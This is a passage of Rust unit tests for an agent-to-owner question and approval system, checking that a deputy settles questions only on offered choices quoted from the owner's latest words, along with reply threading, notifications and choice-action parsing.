3581        esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3582            .unwrap();
3583        assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3584    }
3585
3586    #[test]
3587    fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3588        let mut q = approval_question();
3589        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3590            .unwrap();
3591        assert!(
3592            q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3593                .is_err(),
3594            "the quote must be the owner's"
3595        );
3596        assert!(
3597            q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3598                .is_err(),
3599            "`hold` still needs the whole message"
3600        );
3601        q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3602            .unwrap();
3603        assert_eq!(q.resolution().as_deref(), Some("merge"));
3604    }
3605
3606    fn settle_ready() -> Question {
3607        let mut q = Question::new(
3608            "task".to_owned(),
3609            "conduct".to_owned(),
3610            "conduct".to_owned(),
3611            "Done?".to_owned(),
3612            String::new(),
3613            vec!["yes".to_owned(), "no".to_owned()],
3614        );
3615        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3616        seat.turns = 1;
3617        let mut dep = Deputy::new("brief".to_owned());
3618        dep.seat = Some(seat);
3619        q.deputy = Some(dep);
3620        q.say("setup done, and file a follow-up").unwrap();
3621        q
3622    }
3623
3624    #[test]
3625    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3626        let dir = tempfile::TempDir::new().unwrap();
3627        let store = Questions::at(dir.path().join("questions"));
3628        let mut q = settle_ready();
3629        let id = q.id.clone();
3630        store.put(&mut q).unwrap();
3631        store
3632            .update(&id, |q| {
3633                q.settle_by_deputy(
3634                    "deputy-x",
3635                    "yes",
3636                    "setup done",
3637                    Some("  no follow-up was queued  "),
3638                )
3639            })
3640            .unwrap();
3641        let back = store.get(&id).unwrap();
3642        let turn = back.thread.last().unwrap();
3643        assert_eq!(turn.who, Who::Agent);
3644        assert!(turn.body.starts_with("Settled as `yes`"));
3645        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3646        assert_eq!(back.thread[0].note, None);
3647    }
3648
3649    #[test]
3650    fn an_empty_or_blank_settle_note_is_no_note() {
3651        for note in [None, Some(""), Some("  \n ")] {
3652            let mut q = settle_ready();
3653            q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3654                .unwrap();
3655            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3656            let json = serde_json::to_string(&q).unwrap();
3657            assert!(!json.contains("\"note\""), "no key when there is none");
3658        }
3659    }
3660
3661    #[test]
3662    fn a_refused_settle_leaves_no_note_behind() {
3663        let mut q = settle_ready();
3664        let before = q.thread.clone();
3665        assert!(
3666            q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3667                .is_err()
3668        );
3669        assert!(
3670            q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3671                .is_err()
3672        );
3673        assert_eq!(q.thread, before);
3674        assert_eq!(q.status, QuestionStatus::Open);
3675    }
3676
3677    #[test]
3678    fn a_turn_written_before_notes_existed_still_reads() {
3679        let t: Turn =
3680            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3681                .unwrap();
3682        assert_eq!(t.note, None);
3683    }
3684
3685    #[test]
3686    fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3687        let mut q = approval_question();
3688        q.say("merge").unwrap();
3689        q.reply("sure?", vec!["merge".into(), "hold".into()])
3690            .unwrap();
3691        q.say("wait, hold off").unwrap();
3692        assert!(
3693            q.settle_by_deputy("deputy-x", "merge", "merge", None)
3694                .is_err()
3695        );
3696        assert_eq!(q.status, QuestionStatus::Open);
3697    }
3698
3699    #[test]
3700    fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3701        let mut q = Question::new(
3702            "task".to_owned(),
3703            "conduct".to_owned(),
3704            "conduct".to_owned(),
3705            "Done?".to_owned(),
3706            String::new(),
3707            vec!["yes".to_owned(), "no".to_owned()],
3708        );
3709        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3710        seat.turns = 1;
3711        let mut dep = Deputy::new("brief".to_owned());
3712        dep.seat = Some(seat);
3713        q.deputy = Some(dep);
3714        q.say("setup done, go ahead").unwrap();
3715
3716        assert!(
3717            q.settle_by_deputy("someone-else", "yes", "setup done", None)
3718                .is_err()
3719        );
3720        assert!(
3721            q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3722                .is_err()
3723        );
3724        assert!(
3725            q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3726                .is_err()
3727        );
3728        assert!(q.settle_by_deputy("deputy-x", "yes", "  ", None).is_err());
3729        assert_eq!(q.status, QuestionStatus::Open);
3730
3731        q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3732            .unwrap();
3733        assert_eq!(q.status, QuestionStatus::Answered);
3734        assert_eq!(q.resolution().as_deref(), Some("yes"));
3735        let last = q.thread.last().unwrap();
3736        assert_eq!(last.who, Who::Agent);
3737        assert!(
3738            last.body.contains("setup done"),
3739            "the quote stays on the record"
3740        );
3741    }
3742
3743    #[test]
3744    fn a_question_written_before_deputies_still_reads() {
3745        let mut q = Question::new(
3746            "task".to_owned(),
3747            "conduct".to_owned(),
3748            "conduct".to_owned(),
3749            "Done?".to_owned(),
3750            String::new(),
3751            Vec::new(),
3752        );
3753        q.schema = 4;
3754        let mut v = serde_json::to_value(&q).unwrap();
3755        v.as_object_mut().unwrap().remove("deputy");
3756        let back: Question = serde_json::from_value(v).unwrap();
3757        assert!(back.deputy.is_none());
3758    }
3759
3760    #[test]
3761    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3762        let mut q = choice_question();
3763        q.say("does the cache need eviction?").unwrap();
3764        assert_eq!(q.thread.len(), 1);
3765        assert_eq!(q.thread[0].who, Who::Operator);
3766        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3767        // Speaking is not deciding: the status and the answer are untouched,
3768        // which is the whole point of the round trip existing at all.
3769        assert_eq!(q.status, QuestionStatus::Open);
3770        assert!(q.answer.is_none());
3771        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3772    }
3773
3774    #[test]
3775    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3776        let mut answered = choice_question();
3777        answered
3778            .answer(Answer::Choice("SQLite".to_owned()))
3779            .unwrap();
3780        let a = answered.say("still there?").unwrap_err().to_string();
3781        assert!(a.contains("already answered"), "{a}");
3782        let b = answered
3783            .reply("still there?", vec![])
3784            .unwrap_err()
3785            .to_string();
3786        assert!(b.contains("already answered"), "{b}");
3787
3788        let mut abandoned = choice_question();
3789        abandoned.abandon("timed out");
3790        let c = abandoned.say("hello?").unwrap_err().to_string();
3791        assert!(c.contains("abandoned"), "{c}");
3792
3793        let mut open = choice_question();
3794        let d = open.say("   ").unwrap_err().to_string();
3795        assert!(d.contains("empty"), "{d}");
3796        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3797        assert!(e.contains("empty"), "{e}");
3798        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3799    }
3800
3801    #[test]
3802    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3803        let mut q = choice_question();
3804        q.say("SQLite or Redis, but what about disk space?")
3805            .unwrap();
3806        assert!(q.waiting_on_agent());
3807
3808        q.reply(
3809            "SQLite: it is one file, no server to run.",
3810            vec!["SQLite".to_owned()],
3811        )
3812        .unwrap();
3813
3814        assert_eq!(q.choices, ["SQLite"]);
3815        assert!(
3816            !q.waiting_on_agent(),
3817            "the agent spoke, so the owner is the one being waited on now"
3818        );
3819        assert_eq!(q.thread.len(), 2);
3820        assert_eq!(q.thread[1].who, Who::Agent);
3821
3822        // The new choice set is what a subsequent answer is checked against.
3823        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3824        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3825        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3826    }
3827
3828    #[test]
3829    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3830        let mut fresh = choice_question();
3831        assert!(
3832            fresh.should_notify(Timestamp::now()),
3833            "nobody has been notified yet, so the first ask always pages"
3834        );
3835
3836        fresh.say("why not Postgres?").unwrap();
3837        let just_said = fresh.thread[0].at;
3838        assert!(
3839            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3840            "still on the screen a minute later; no need to page again"
3841        );
3842        assert!(
3843            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3844            "exactly the window: `>` means this side stays quiet"
3845        );
3846        assert!(
3847            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3848            "past the window: they may have walked away"
3849        );
3850    }
3851
3852    #[test]
3853    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3854        let (_dir, s) = store();
3855        let mut q = choice_question();
3856        s.put(&mut q).unwrap();
3857        q.say("why not Postgres?").unwrap();
3858        s.put(&mut q).unwrap();
3859        q.reply("no server to run", vec!["SQLite".to_owned()])
3860            .unwrap();
3861        s.put(&mut q).unwrap();
3862
3863        assert_eq!(
3864            s.count_open(),
3865            1,
3866            "one question that talked twice is still one open question"
3867        );
3868        assert_eq!(s.open_for(&q.run).len(), 1);
3869    }
3870
3871    #[tokio::test]
3872    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3873        let (dir, s) = store();
3874        let mut q = choice_question();
3875        let id = q.id.clone();
3876        let writer = Questions::at(dir.path().join("questions"));
3877        let handle = tokio::spawn(async move {
3878            tokio::time::sleep(Duration::from_millis(30)).await;
3879            let mut fresh = writer.get(&id).expect("the question was filed first");
3880            fresh.say("why not Postgres?").unwrap();
3881            writer.put(&mut fresh).unwrap();
3882        });
3883
3884        let got = wait_for_owner(
3885            &mut q,
3886            &s,
3887            &quiet(),
3888            Duration::from_secs(5),
3889            Duration::from_millis(10),
3890        )
3891        .await
3892        .unwrap();
3893
3894        handle.await.unwrap();
3895        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3896        assert_eq!(
3897            q.status,
3898            QuestionStatus::Open,
3899            "talking back is not a decision; the question stays open"
3900        );
3901        assert!(q.answer.is_none());
3902    }
3903
3904    #[test]
3905    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3906        let mut q = choice_question();
3907        q.say("A").unwrap();
3908        q.delivered_turns = q.thread.len();
3909        q.say("B").unwrap();
3910        q.reply("about A", vec![]).unwrap();
3911        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3912        q.delivered_turns = q.thread.len();
3913        assert_eq!(q.unread_from_owner(), None);
3914    }
3915
3916    #[test]
3917    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3918        let (_d, s) = store();
3919        let mut q = choice_question();
3920        s.put(&mut q).unwrap();
3921        q.say("first").unwrap();
3922        q.say("second").unwrap();
3923        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3924        s.put(&mut q).unwrap();
3925        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3926        let mut out = Vec::new();
3927        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3928        let shown = String::from_utf8(out).unwrap();
3929        let (a, b, c) = (
3930            shown.find("first").unwrap(),
3931            shown.find("second").unwrap(),
3932            shown.find("SQLite").unwrap(),
3933        );
3934        assert!(a < b && b < c, "{shown}");
3935        assert_eq!(q.delivered_turns, q.thread.len());
3936        assert!(q.answer_delivered);
3937    }
3938
3939    #[test]
3940    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3941        let mut q = choice_question();
3942        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3943        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3944        let mut q = choice_question();
3945        q.say("old").unwrap();
3946        q.delivered_turns = q.thread.len();
3947        q.say("new").unwrap();
3948        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3949        let shown = answer_for_agent(&q, "SQLite");
3950        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3951    }
3952
3953    #[test]
3954    fn recovery_aliases_require_a_unique_offered_structured_effect() {
3955        let mut q = choice_question();
3956        q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
3957        for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
3958            q.actions
3959                .insert(label.into(), ChoiceAction::Resume { run: run.into() });
3960        }
3961        assert!(
3962            q.resolve_reply("再開")
3963                .unwrap_err()
3964                .to_string()
3965                .contains("ambiguous")
3966        );
3967        assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
3968        q.choices.remove(1);
3969        assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
3970        assert!(q.resolve_reply("resume run-b").is_err());
3971        assert!(q.resolve_reply("保留").is_err());
3972        assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
3973        assert!(!ChoiceAction::Done.matches_alias("完了"));
3974    }
3975
3976    #[test]
3977    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3978        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3979        let ok = parse_actions(
3980            &[
3981                "resume で続行する=resume".to_owned(),
3982                "wait=done".to_owned(),
3983            ],
3984            &choices,
3985            "run-1",
3986        )
3987        .unwrap();
3988        assert_eq!(
3989            ok["resume で続行する"],
3990            ChoiceAction::Resume {
3991                run: "run-1".into()
3992            }
3993        );
3994        assert_eq!(ok["wait"], ChoiceAction::Done);
3995
3996        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3997        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3998        assert_eq!(
3999            ChoiceAction::parse("x=requeue", "").unwrap().1,
4000            ChoiceAction::Requeue
4001        );
4002
4003        assert_eq!(
4004            ChoiceAction::parse("x=hold", "").unwrap().1,
4005            ChoiceAction::Hold
4006        );
4007
4008        for bad in [
4009            "no-equals",
4010            "=done",
4011            "x=resume",
4012            "x=resume:",
4013            "x=explode",
4014            "x=done:1",
4015        ] {
4016            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4017        }
4018        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4019        assert!(
4020            parse_actions(
4021                &["wait=done".to_owned(), "wait=requeue".to_owned()],
4022                &choices,
4023                ""
4024            )
4025            .is_err()
4026        );
4027    }
4028
4029    #[test]
4030    fn only_a_chosen_label_with_an_action_is_actionable() {
4031        let mut q = choice_question();
4032        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4033        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4034        assert!(q.chosen_action().is_none(), "unanswered");
4035        q.answer(Answer::Choice("resume".to_owned())).unwrap();
4036        assert!(
4037            q.chosen_action().is_none(),
4038            "a label that merely reads like an action does nothing"
4039        );
4040
4041        let mut q2 = choice_question();
4042        q2.choices = vec!["SQLite".to_owned()];
4043        q2.actions
4044            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4045        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4046        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4047    }
4048
4049    #[test]
4050    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4051        let mut q = choice_question();
4052        q.choices = vec!["A".to_owned(), "B".to_owned()];
4053        q.actions.insert("A".to_owned(), ChoiceAction::Done);
4054        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4055        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4056        assert_eq!(q.actions.len(), 1);
4057        assert!(q.actions.contains_key("B"));
4058
4059        let mut v = serde_json::to_value(&q).unwrap();
4060        v.as_object_mut().unwrap().remove("actions");
4061        let old: Question = serde_json::from_value(v).unwrap();
4062        assert!(old.actions.is_empty());
4063    }
4064}